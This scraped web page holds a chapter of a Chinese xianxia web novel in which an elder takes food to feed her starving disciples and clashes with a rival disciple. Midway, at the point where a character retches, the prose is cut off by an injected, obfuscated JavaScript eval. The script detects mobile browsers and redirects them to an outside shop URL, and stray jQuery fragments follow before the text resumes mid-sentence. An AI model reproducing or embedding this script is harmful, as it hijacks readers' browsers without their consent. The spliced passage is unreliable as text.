默认冷灰
24号文字
方正启体

8. 第 8 章

作者:七千折戏本书字数:K更新时间:
    杂役弟子所处的杂院和秀木阁中间坐落着一片幽静竹林,清晨起来,竹笋根根钻出土壤,肉眼可见地朝天攀爬着。


    石砖铺就的道路被疯长的竹子顶得七零八落,不时有手腕粗的楠竹肆意横在路中央,挡住人的去路。


    一看便知许久无人修缮,时岁稔挥袖将那些嚣张的竹子砍断,又抬脚踢到一旁。


    她知晓秀木阁一向受人忽视,却不知竟被忽视成这个样子,俨然已经与世隔绝,也怪不得那些连修为都没有的杂役敢如此对待秀木阁的弟子。


    凡有人群聚集便有强弱欺凌,哪怕是修仙宗门也不例外,尤其长期实权之人手中有了微小的权力时,便极易最大限度地难为旁人。


    穿过竹林后,原本寂寥的世界忽然变得嘈杂热闹,数十个身着杂役布衣的弟子正在草场上拳打脚踢地练着功夫,口中喊着些入门的心诀术法,声音响彻云霄。


    “让一让,让一让……”几个推着板车的杂役喊着近前,车上放的皆是些修炼用的兵器,叮叮当当地一路往山上去了。


    时岁稔自打拜入天权宗时便入了内门,故而从未见过杂役弟子的居所,如今一看倒是烟火气十足,每个人都吵吵嚷嚷流着汗,若非身处天权宗内,还以为自己一脚踏入了凡间。


    既忙着做活又见缝插针地修炼,让她想起了年少时的日子,朝气蓬勃。


    时岁稔勾着嘴角走过一片白墙青瓦的居所,将身一转,溜进个明显雅致许多的庭院,院中游廊水榭无一缺少,端的是“庭前花木满,院外小径芳”。


    外院几个杂役弟子正垂首清扫落花,时岁稔给自己施了个“静影诀”,信步如归地绕过他们,直直入了中院。


    迎面便是一树垂柳,柳叶尖尖压着清塘,塘中清洌可鉴,几只尾羽如锦的鸭子正在凫水,待玩高兴了,便扯着脖子叫唤几声。


    时岁稔看着颇为满意,正伸着指尖清点数量,却忽闻身后传来声轻蔑的笑。


    “我还以为时长老要惩戒那些杂役呢,原来也只会做些偷鸡摸狗的行当。”


    “真是胆小如鼠,亏我还以为你有多大本事。”


    说话的是个女子,听声音便充斥着说不出的傲然不驯,时岁稔含笑转过身去,一袭红衣抢先入眼,而后便是一瞥浓眉,和眉毛下略微上扬的美目。


    “云溪姑娘跟了我这么久,终于肯现身了?”时岁稔不同她恼,自顾自地掷出道劲风,塘中鸭子顿时翻了肚皮,随水波荡到岸边。


    这女子便是那日狠狠剜她一眼的云溪。


    “不错,我是跟你来的,我就不该许苏家小九去寻你,一个烂泥扶不上墙的废物长老,不给我们秀木阁带来祸患已是幸事了,又怎能妄想朝你求得庇佑。”


    云溪抱着双臂轻靠树干,冷哼道:“不如照我说的揍他们一顿,看他们还敢瞧不上我们秀木阁!”


    时岁稔没回应她关于烂泥扶不上墙的话,只颔首问道:“听闻你的修为比起苏九强了不少,可筑基了?”


    “笑话!”云溪十分不悦,“我可同她们那些小丫头不一样,我八岁便筑基了,若非这破天权宗容不下我,凭我的天资,想必如今打你都绰绰有余。”


    哦呦,好大的口气。


    时岁稔终于正眼端详起女子,云溪被她看得心里发毛,更是恼火:“看什么看,既然你派不上用场,我便用我的方式了结此事。”


    她转身便走,不料刚迈出一步,腿脚便被一股清风缠上,险些踉跄跌倒。


    于是怒火中烧,拔剑便要上前:“时岁稔你……”


    “你的方式是什么,往后谁不给你们吃的,你便上前去给他们一耳光?”时岁稔一边将鸭子绑起来拎着,一边问。


    “这世间不就是如此,强者为尊,他们胆敢欺凌我等不就是恃强凌弱?唯有将这些人打服了,方能不再被欺负!”云溪冷声道。


    “你说的或许有理,可你打得过一个杂役,两个杂役,可还能打得过几百一千个杂役?”


    时岁稔抬眼:“就算你骁勇非常,打得那些杂役弟子不敢再犯,你又能对付得了杂院的掌事?各处掌事乃是副宗主亲自认命的,修为只在各长老之下,以我如今的修为都不能胜过,你又如何对付?”


    云溪红唇翕动,一时语塞:“那我便……”


    “便同他们拼了是不是?”时岁稔拎着鸭子往回走,“然后白白受了伤,还要被天刑阁的人找上门来,你图的是什么?”


    云溪红唇一抿,说不出话。


    “那你呢,你偷这些东西,就算能给她们填饱肚子,又能管得了几时?”她攥着袖子追上时岁稔。


    “诶,不能这么讲。”时岁稔葱指竖在嘴边,笑道,“天权宗是我家,都是自家的东西,怎么能说是偷?”


    云溪饶是被她的话震惊了一番,愣在原地许久,最后咬牙道了声“恬不知耻”。


    恬不知耻的时岁稔带着只肥嘟嘟的鸭子回了秀木阁,临走前还顺便挖了把粮仓中的大米,回屋蒸成晶莹剔透的大米饭,热腾腾端上了桌。


    待时岁稔揭开锅,老鸭煲的香气登时飘满整个小院,将桌边三个人馋得口水直流,苏九忍不住伸长脖子,将手中筷子咬得嘎嘣响。


    时岁稔将炖得骨酥肉烂的鸭子盛在盘中,俯身放在桌上:“吃吧。”


    顾遥星没有动,苏九和谭宝珠你看看我,我看看你,手犹豫地摸上碗筷,又很快放下,一副踌躇的模样。


    “都快饿死了,还怕什么呢,怕我给你们下毒?”时岁稔顿觉好笑。


    苏九早就饿得前胸贴后背了,如今听了这话,顿觉有理,人都快饿死了,还有什么好怕的?


    于是卷起袖子卸下鸭腿,迫不及待塞进口中,鸭肉一舔便脱了骨,浓郁的汤汁流过舌尖,登时叫人食指大动。


    谭宝珠见她这般,也大着胆子夹起块鸭肉放进嘴里,香得险些流出泪来,她低着头道了声谢,而后端起饭碗,好一阵埋头苦吃。


    “星星,你也吃啊。”时岁稔替顾遥星夹了块鸭腿肉,顾遥星小声应了。


    然后接过来放进嘴里,小心翼翼地嚼着,一口肉嚼了许久,硬是不舍得咽下去。


    她在药王庄每日的伙食都需同人抢,有些孩子比她高比她壮,她抢不过新鲜的,便只能和其他小孩抢地上的剩饭。


    不管发不发霉都得往嘴里塞,塞得阵阵干呕也不能停,因为若是塞得晚了,就又会被旁人抠出来抢走。


    她已然很久没有吃过如此新鲜的东西,更别提还是香喷喷的肉。


    时岁稔看她迟迟不下筷子,心下不忍,又给她夹了几块,温声道:“你想吃多少师尊都有,用不着如此节省。”


    顾遥星低头看着碗中莹白的米,吸了吸鼻子。


    然后夹了块最大的放在时岁稔面前,细声细气道:“师尊也吃。”


    “不过几块肉便将你们都收买了,真是没有骨气。”远处靠在拱门边的云溪瓮声瓮气地嘲讽。


    “还有你,小丫头,你还记得她从前如何对你的吗?如此蛇蝎心肠的女人,你居然还肯当她是你师尊。”


    “说不定她心里正憋着坏水,准备再将你卖出去换银子呢!”


    这话当真戳中了顾遥星心底的恐惧,她手一抖,筷子上的肉便啪地掉到地上,顾遥星当即便吓得白了面色,推开凳子便要跪下。


    被时岁稔眼疾手快一把捞起,面色平静地拉回凳子,将她稳稳按了回去。


    安抚她道:“好好吃饭。别忘了我说过什么,你是我顶顶亲的徒儿,为师此生都不会再赶你走。”


    而后将手一抬,本命剑随着汇聚的灵气从半空显现,剑尖直指云溪命门。


    云溪自然气不过,挥剑便要同她较量,谁知时岁稔口中念了句什么,半空轻飘的风忽得停在她肩头,沉得似有千斤重,云溪尖叫一声,软膝半跪。


    “时岁稔!你使了什么妖术!”她扬声叱骂,骂第二句时面色骤变,口中似灌入冰冷铅块,躬身干呕。


    呕


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479110|201649||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得面色苍白,眼沁泪花,再说不出半句话。


    一旁的苏九见状饭也不敢吃了,起身便要求情,又被时岁稔素手一抬按下去,温声道:“无妨,我不会伤她。”


    “云溪姑娘,我前些日子受了些伤,失去了部分记忆,你我过去或有恩怨纠葛,但如今我已半点都记不起,若是我的错,我向你赔个不是,若非我的错,你也莫要一而再再而三地挑衅我。”


    “唔唔唔……”


    时岁稔不理会挣扎的女子,继续道:“如今我既入了这秀木阁,就不会对你们的境遇置之不理,那杂院欺负你们之事,我也会替你们讨个公道。”


    “我虽失去了一半的修为,可毕竟是年方三百岁便突破了大乘巅峰的长老,姑且算个天才,那些你们求之不得的功法心诀皆在我脑中,所以就算你们再瞧不起我,却也是奈何不了我的。”


    她将手一挥,云溪终于干哕出了声,她捂着心口,满脸泪痕地瞪着时岁稔。


    “还有。”时岁稔微笑,“方才这招名为御风术,可化无形为有形,是极为难修的秘法,整个天权宗唯有宗主、我那圆满得道的师尊和我能窥得一二。”


    云溪虽将嘴唇咬出了血,但到底不敢再说些什么了,一边擦泪一边奋袂而去,时岁稔这才收了神通,示意几个孩子继续用膳。


    苏九心有余悸地看着云溪离开的方向,不禁庆幸自己没有同时岁稔对着干。


    瘦死的骆驼比马大,时岁稔如今就算再不得势,也不是真的能任人欺凌的。


    院中一时鸦雀无声,只余碗筷碰撞的声响,顾遥星心中忧惧,身子又瘦,所以吃得不多,苏九虽胃口大开,但撑死也只吃下两碗饭。


    只有一旁腼腆寡语的谭宝珠,不声不响地吃了五六碗饭,直将时岁稔顺来的大米吃了个精光。


    尚且不够,甚至连鸭子的骨头都啃了一半下肚。


    此举震惊了时岁稔,最后还是苏九尴尬地解释:“时长老莫怕,她是体修,从小便跟着爹娘打铁为生,饭量一向如此骇人,这些饭吃不死她的。”


    时岁稔仍旧震惊,缓缓点头。


    水足饭饱,二人替时岁稔收拾了碗筷,鞠躬道谢离去,院中只剩师徒二人,一个优哉游哉坐着吹风,一个拿着蒲扇努力扇风。


    最后还是时岁稔仗势欺人,说若是再干活就罚她顶水缸,顾遥星这才扔了蒲扇,惶恐地坐在了时岁稔身边。


    手足无措片刻,轻声问:“师尊,可若是明日他们还不肯给我们吃食呢?”


    “那明日我们便吃鱼如何?”时岁稔歪头,“我今日瞧见管事的院中有几尾十分珍稀的琥珀金鳃锦鲤,炖汤想必香甜。”


    顾遥星轻轻地啊了一声,琥珀色的眼睛睁着,担忧地看向时岁稔。


    小孩实在可爱,时岁稔没忍住,又伸手挠她下巴。


    “师尊教你一个道理。”时岁稔眯着凤眸笑,“凡事当你求于他人时,办起来便十分困难。可若换成他人求你,是不是简单许多?”


    顾遥星不甚理解,但是点头。


    ……


    时岁稔说到做到,第二日便网了整整四条大鲤鱼,两条炖汤两条清蒸,又顺来一整个口袋的馒头,将几个孩子喂得满嘴流油。


    第三日鱼消失不见,她便拿了杂院厨房里的乌鸡和菜,做了一道清炒乌鸡。


    第四日为了给顾遥星补身子,她不知从哪儿摸出根百年老参,与昨日剩下的乌鸡一起炖汤,香得连顾遥星都吃了三碗饭。


    第五日……


    时岁稔刚抱着只赤红冠子的大鹅踏进秀木阁,便听得风声呼啸,杂院的管事脸色青紫地出现在门口,一边跺脚,一边指着她颤声道。


    “祖宗,你们秀木阁都是我祖宗!我从小养大的鸭子,我寻遍了盛京寻到的琥珀金鳃锦鲤,我的百年人参……”


    “时岁稔,过去你只在背地里下作,如今竟光天化日之下做出这般无耻行径!”


    “你,你,你还我的大白鹅!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)